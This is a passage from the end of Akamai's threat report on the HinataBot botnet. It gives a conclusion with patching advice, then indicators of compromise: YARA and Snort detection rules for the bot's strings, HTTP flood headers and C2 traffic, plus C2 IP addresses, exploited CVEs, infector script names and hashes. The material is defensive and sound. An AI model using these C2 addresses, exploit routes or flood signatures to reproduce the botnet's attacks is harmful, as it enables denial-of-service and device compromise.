These theorized capabilities obviously don’t take into account the different kinds of servers that would be participating, their respective bandwidth and hardware capabilities, etc., but you get the picture. Let’s hope that the HinataBot authors move onto new hobbies before we have to deal with their botnet at any real scale.
Conclusion
HinataBot is the latest example of the evolving threat landscape, particularly in relation to botnets. Malware authors are continuing to innovate their use of implementation methods, languages, and distribution methods. By leaning on older, proven techniques, such as those used within Mirai, attackers can focus more on curating pieces that evade detection, continuously evolve, and add new functionality.
By continuing to explore and analyze evolving threats such as HinataBot, we can better understand the tactics, techniques, and procedures of attackers to develop more robust defenses against them. The HinataBot family relies on old vulnerabilities and brute forcing weak passwords for distribution. This is yet another example of why strong password and patching policies are more critical than ever. Attackers are always looking for low-hanging fruit with high return on investment, so making it more difficult for attacks to be successful helps significantly in keeping your environment and the internet safe.
This is likely just the beginning for HinataBot. The Akamai SIRT will continue to monitor its evolution over time and report new findings when relevant.
Akamai customers are protected from the two attack capabilities this botnet supports.
Akamai mitigates non-HTTP attacks transparently at the edge, including UDP, TCP, and ICMP floods.
Akamai App & API Protector mitigates L7 web application attacks like this automatically via Akamai Client Reputation, Rate Controls, Akamai Bot Manager, and web application firewall rules.
Should you have additional questions about protections from this botnet, please refer to your Akamai account team for further information.
IOCs
YARA rules
HinataBot binaries
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
HinataBot Infector scripts
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Snort rules
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
Communications from C2 server
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
Communications to C2 server
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IPs
77.73.131.247
156.236.16.237
185.112.83.254
Ports
61420
1420
CVEs
CVE-2017-17215
CVE-2014-8361
File Names
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
Recent hashes
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67